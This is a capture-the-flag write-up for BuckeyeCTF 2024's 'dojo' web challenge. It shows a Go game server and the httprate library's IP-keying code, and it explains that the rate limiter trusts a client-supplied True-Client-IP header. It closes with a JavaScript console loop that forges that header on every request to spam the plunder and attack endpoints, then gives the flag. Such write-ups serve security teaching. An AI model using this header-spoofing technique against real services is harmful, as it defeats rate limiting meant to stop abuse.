BuckeyeCTF 2024 — dojo
The dojo stores many riches. Can you make it through the gauntlet?
dojo.challs.pwnoh.io
We're given a Go server looking like this:
Code (go):
1package server
2
3import (
4 "encoding/json"
5 "math/rand/v2"
6 "net/http"
7 "os"
8 "path/filepath"
9 "strings"
10 "time"
11
12 "github.com/go-chi/chi/v5"
13 "github.com/go-chi/chi/v5/middleware"
14 "github.com/go-chi/httprate"
15 "github.com/go-chi/jwtauth/v5"
16 "github.com/gorilla/websocket"
17)
18
19var TokenAuth *jwtauth.JWTAuth
20
21const MaxBossHealth = 1000
22
23type GameState struct {
24 id int32
25 bossHealth int32
26 playerHealth int32
27 plundered int32
28 lastDodge time.Time
29
30 conn *websocket.Conn
31}
32
33func (gs *GameState) SyncJSON() {
34 if gs.conn != nil {
35 gs.conn.WriteJSON(map[string]interface{}{
36 "action": "sync",
37 "playerHealth": gs.playerHealth,
38 "bossHealth": gs.bossHealth,
39 })
40 }
41
42 if gs.bossHealth <= 0 {
43 if gs.conn != nil {
44 gs.conn.WriteJSON(map[string]string{"action": "win"})
45
46 if gs.plundered > 800 {
47 flag, exists := os.LookupEnv("FLAG")
48 if !exists {
49 flag = "bctf{fake_flag}"
50 }
51 gs.conn.WriteJSON(map[string]string{"flag": flag})
52 }
53
54 gs.conn.Close()
55 }
56
57 delete(gameStates, gs.id)
58 }
59
60 if gs.playerHealth <= 0 {
61 if gs.conn != nil {
62 gs.conn.WriteJSON(map[string]string{"action": "lose", "reason": "died"})
63 gs.conn.Close()
64 }
65 delete(gameStates, gs.id)
66 }
67}
68
69func (gs *GameState) PlayerAttack() (success bool, amount int32) {
70 if gs.lastDodge.Add(1 * time.Second).After(time.Now()) {
71 return false, 0
72 }
73
74 amt := int32(rand.IntN(12) + 2)
75
76 if gs.conn != nil {
77 gs.conn.WriteJSON(map[string]interface{}{"action": "player_attack", "amount": amt})
78 }
79
80 gs.bossHealth -= amt
81 gs.SyncJSON()
82 return true, amt
83}
84
85func (gs *GameState) PlayerDodge() {
86 gs.lastDodge = time.Now()
87}
88
89func (gs *GameState) PlayerPlunder() (bool, int32) {
90 if gs.lastDodge.Add(1 * time.Second).After(time.Now()) {
91 return false, 0
92 }
93
94 amount := int32(rand.IntN(12) + 2)
95 gs.plundered += amount
96 return true, amount
97}
98
99func (gs *GameState) BossAttack(amount int32) {
100 if gs.lastDodge.Add(1 * time.Second).After(time.Now()) {
101 if gs.conn != nil {
102 gs.conn.WriteJSON(map[string]interface{}{"action": "dodged", "amount": amount})
103 }
104 return
105 }
106
107 gs.playerHealth -= amount
108
109 if gs.conn != nil {
110 gs.conn.WriteJSON(map[string]interface{}{"action": "boss_attack", "amount": amount})
111 }
112 gs.SyncJSON()
113}
114
115func (gs *GameState) BossSignalAttack() {
116 if gs.conn != nil {
117 gs.conn.WriteJSON(map[string]interface{}{"action": "signal"})
118 }
119}
120
121func (gs *GameState) BossHeal(amount int32) {
122 gs.bossHealth = min(gs.bossHealth+amount, MaxBossHealth)
123
124 if gs.conn != nil {
125 gs.conn.WriteJSON(map[string]interface{}{"action": "heal", "amount": amount})
126 }
127 gs.SyncJSON()
128}
129
130func (gs *GameState) TimeoutLose() {
131 if gs.conn != nil {
132 gs.conn.WriteJSON(map[string]string{"action": "lose", "reason": "timed out"})
133 gs.conn.Close()
134 }
135 delete(gameStates, gs.id)
136}
137
138var gameStates = make(map[int32]*GameState)
139
140var upgrader = websocket.Upgrader{
141 ReadBufferSize: 1024,
142 WriteBufferSize: 1024,
143 CheckOrigin: func(r *http.Request) bool { return os.Getenv("BF_PRODUCTION") != "true" },
144}
145
146func (s *Server) RegisterRoutes() http.Handler {
147 r := chi.NewRouter()
148 r.Use(middleware.Recoverer)
149 r.Get("/", s.FrontendHandler)
150 r.Get("/*", s.FrontendHandler)
151
152 r.Group(func(r chi.Router) {
153 r.Use(middleware.Logger)
154 r.Use(middleware.Timeout(time.Second * 60))
155 r.Use(httprate.LimitByRealIP(2, time.Second))
156 r.Get("/api/new", s.NewGameHandler)
157
158 r.Group(func(r chi.Router) {
159 r.Use(jwtauth.Verifier(TokenAuth))
160 r.Use(jwtauth.Authenticator(TokenAuth))
161
162 r.Get("/api/attack", s.AttackHandler)
163 r.Get("/api/dodge", s.DodgeHandler)
164 r.Get("/api/plunder", s.PlunderHandler)
165 r.Get("/api/ws", s.WebsocketHandler)
166 })
167 })
168
169 return r
170}
171
172func (s *Server) FrontendHandler(w http.ResponseWriter, r *http.Request) {
173 ext := filepath.Ext(r.URL.Path)
174
175 // If there is no file extension, and it does not end with a slash,
176 // assume it's an HTML file and append .html
177 if ext == "" && !strings.HasSuffix(r.URL.Path, "/") {
178 r.URL.Path += ".html"
179 }
180
181 http.FileServer(http.Dir("frontend/build")).ServeHTTP(w, r)
182}
183
184func (s *Server) AttackHandler(w http.ResponseWriter, r *http.Request) {
185 _, claims, _ := jwtauth.FromContext(r.Context())
186 game_id := int32(claims["game_id"].(float64))
187
188 gameState := gameStates[game_id]
189 if gameState == nil {
190 w.WriteHeader(http.StatusNotFound)
191 json.NewEncoder(w).Encode(map[string]interface{}{"status": "error", "message": "Game not found"})
192 return
193 }
194
195 success, amount := gameState.PlayerAttack()
196 if !success {
197 w.WriteHeader(http.StatusInternalServerError)
198 json.NewEncoder(w).Encode(map[string]interface{}{"status": "error", "message": "You can't attack right now"})
199 return
200 }
201
202 json.NewEncoder(w).Encode(map[string]interface{}{"status": "success", "amount": amount})
203}
204
205func (s *Server) DodgeHandler(w http.ResponseWriter, r *http.Request) {
206 _, claims, _ := jwtauth.FromContext(r.Context())
207 game_id := int32(claims["game_id"].(float64))
208
209 gameState := gameStates[game_id]
210 if gameState == nil {
211 w.WriteHeader(http.StatusNotFound)
212 json.NewEncoder(w).Encode(map[string]interface{}{"status": "error", "message": "Game not found"})
213 return
214 }
215
216 gameState.PlayerDodge()
217
218 json.NewEncoder(w).Encode(map[string]interface{}{"status": "success"})
219}
220
221func (s *Server) PlunderHandler(w http.ResponseWriter, r *http.Request) {
222 _, claims, _ := jwtauth.FromContext(r.Context())
223 game_id := int32(claims["game_id"].(float64))
224
225 gameState := gameStates[game_id]
226 if gameState == nil {
227 w.WriteHeader(http.StatusNotFound)
228 json.NewEncoder(w).Encode(map[string]interface{}{"status": "error", "message": "Game not found"})
229 return
230 }
231
232 success, amount := gameState.PlayerPlunder()
233 if !success {
234 w.WriteHeader(http.StatusInternalServerError)
235 json.NewEncoder(w).Encode(map[string]interface{}{"status": "error", "message": "You can't plunder right now"})
236 return
237 }
238
239 json.NewEncoder(w).Encode(map[string]interface{}{
240 "status": "success",
241 "amount": amount,
242 "total": gameState.plundered,
243 })
244}
245
246func (s *Server) NewGameHandler(w http.ResponseWriter, r *http.Request) {
247 gameId := rand.Int32()
248 _, tokenString, _ := TokenAuth.Encode(map[string]interface{}{"game_id": gameId})
249
250 gameStates[gameId] = &GameState{
251 id: gameId,
252 bossHealth: MaxBossHealth,
253 playerHealth: 100,
254 }
255
256 cookie := http.Cookie{
257 Name: "jwt",
258 Value: tokenString,
259 HttpOnly: false,
260 }
261
262 http.SetCookie(w, &cookie)
263
264 go gameRunner(gameId)
265
266 http.Redirect(w, r, "/play", http.StatusTemporaryRedirect)
267}
268
269func gameRunner(gameId int32) {
270 s2 := rand.NewPCG(uint64(gameId), 1024)
271 r2 := rand.New(s2)
272
273 go func() {
274 time.Sleep(60 * time.Second)
275
276 gameState := gameStates[gameId]
277 if gameState == nil {
278 return
279 }
280
281 gameState.TimeoutLose()
282 }()
283
284 time.Sleep(3 * 1000 * time.Millisecond)
285
286 for {
287 time.Sleep(1000 * time.Millisecond)
288 gameState := gameStates[gameId]
289 if gameState == nil {
290 return
291 }
292
293 v := r2.IntN(100)
294
295 if v < 20 {
296 if gameState.bossHealth < MaxBossHealth*0.8 {
297 healAmount := int32(r2.IntN(50) + 20)
298 gameState.BossHeal(healAmount)
299 } else {
300 damageAmount := int32(r2.IntN(30) + 5)
301 gameState.BossAttack(damageAmount)
302 }
303 } else if v < 35 {
304 gameState.BossSignalAttack()
305 time.Sleep(1000 * time.Millisecond)
306 damageAmount := int32(r2.IntN(50) + 10)
307 gameState.BossAttack(damageAmount)
308 } else if v < 50 {
309 damageAmount := int32(r2.IntN(30) + 5)
310 gameState.BossAttack(damageAmount)
311 } else if v < 65 {
312 gameState.BossSignalAttack()
313 }
314 }
315}
316
317func (s *Server) WebsocketHandler(w http.ResponseWriter, r *http.Request) {
318 _, claims, _ := jwtauth.FromContext(r.Context())
319 gameId := int32(claims["game_id"].(float64))
320
321 gameState := gameStates[gameId]
322 if gameState == nil {
323 w.WriteHeader(http.StatusNotFound)
324 json.NewEncoder(w).Encode(map[string]interface{}{"status": "error", "message": "Game not found"})
325 return
326 }
327
328 conn, err := upgrader.Upgrade(w, r, nil)
329 if err != nil {
330 return
331 }
332
333 gameState.conn = conn
334 gameState.SyncJSON()
335}
Our goal is to plunder 800 emeralds, all while defeating the boss and not getting killed in the process.
Looking at the underlying logic for attacking, dodging, and plundering,
Code (go):
1func (gs *GameState) PlayerAttack() (success bool, amount int32) {
2 if gs.lastDodge.Add(1 * time.Second).After(time.Now()) {
3 return false, 0
4 }
5
6 amt := int32(rand.IntN(12) + 2)
7
8 if gs.conn != nil {
9 gs.conn.WriteJSON(map[string]interface{}{"action": "player_attack", "amount": amt})
10 }
11
12 gs.bossHealth -= amt
13 gs.SyncJSON()
14 return true, amt
15}
16
17func (gs *GameState) PlayerDodge() {
18 gs.lastDodge = time.Now()
19}
20
21func (gs *GameState) PlayerPlunder() (bool, int32) {
22 if gs.lastDodge.Add(1 * time.Second).After(time.Now()) {
23 return false, 0
24 }
25
26 amount := int32(rand.IntN(12) + 2)
27 gs.plundered += amount
28 return true, amount
29}
it seems like attacking and plundering are only prevented after dodging, and don't block the spam of each other. Then, a preliminary idea can be to just spam plunder until we reach 800 emeralds, then spam attack until we kill the boss.
Unfortunately, referencing the route handler again,
Code (go):
1 r.Group(func(r chi.Router) {
2 r.Use(middleware.Logger)
3 r.Use(middleware.Timeout(time.Second * 60))
4 r.Use(httprate.LimitByRealIP(2, time.Second))
5 r.Get("/api/new", s.NewGameHandler)
it looks like our requests are ratelimited to 2 per second by httprate.LimitByRealIP
; naively spamming requests will return 429
s and we'll still get defeated by the boss.
However, going to the httprate
source code,
Code (go):
1func LimitByRealIP(requestLimit int, windowLength time.Duration) func(next http.Handler) http.Handler {
2 return Limit(requestLimit, windowLength, WithKeyFuncs(KeyByRealIP))
3}
4
5func Key(key string) func(r *http.Request) (string, error) {
6 return func(r *http.Request) (string, error) {
7 return key, nil
8 }
9}
10
11func KeyByIP(r *http.Request) (string, error) {
12 ip, _, err := net.SplitHostPort(r.RemoteAddr)
13 if err != nil {
14 ip = r.RemoteAddr
15 }
16 return canonicalizeIP(ip), nil
17}
18
19func KeyByRealIP(r *http.Request) (string, error) {
20 var ip string
21
22 if tcip := r.Header.Get("True-Client-IP"); tcip != "" {
23 ip = tcip
24 } else if xrip := r.Header.Get("X-Real-IP"); xrip != "" {
25 ip = xrip
26 } else if xff := r.Header.Get("X-Forwarded-For"); xff != "" {
27 i := strings.Index(xff, ", ")
28 if i == -1 {
29 i = len(xff)
30 }
31 ip = xff[:i]
32 } else {
33 var err error
34 ip, _, err = net.SplitHostPort(r.RemoteAddr)
35 if err != nil {
36 ip = r.RemoteAddr
37 }
38 }
39
40 return canonicalizeIP(ip), nil
41}
it looks like the way they check the client's real IP is through reading the True-Client-IP
header. If we forge this header, then, we should be able to bypass their rate limiting and get the flag.
Occasionally, forged fetches still fail for whatever reason. Still, assuming most fetches still go through, we can spam attacks and plunders with the following console script:
Code (js):
1let i = 0;
2while (true) {
3 try {
4 const { total } = await (await fetch('/api/plunder', {
5 headers: { 'True-Client-IP': `${i}.${i}.${i}.${i++}` }
6 })).json();
7 if (total > 800) break;
8 } catch {}
9}
10
11let health = 2000;
12while (health >= 0) {
13 try {
14 const { amount } = await (await fetch('/api/attack', {
15 headers: { 'True-Client-IP': `${i}.${i}.${i}.${i++}` }
16 })).json();
17 health -= amount;
18 } catch {}
19}
Once we've won, all we need to do is check the websocket to get the flag:
Code:
1bctf{D3FAul7_rA73_l1m17_fUnc710N5_aR3_5caRy}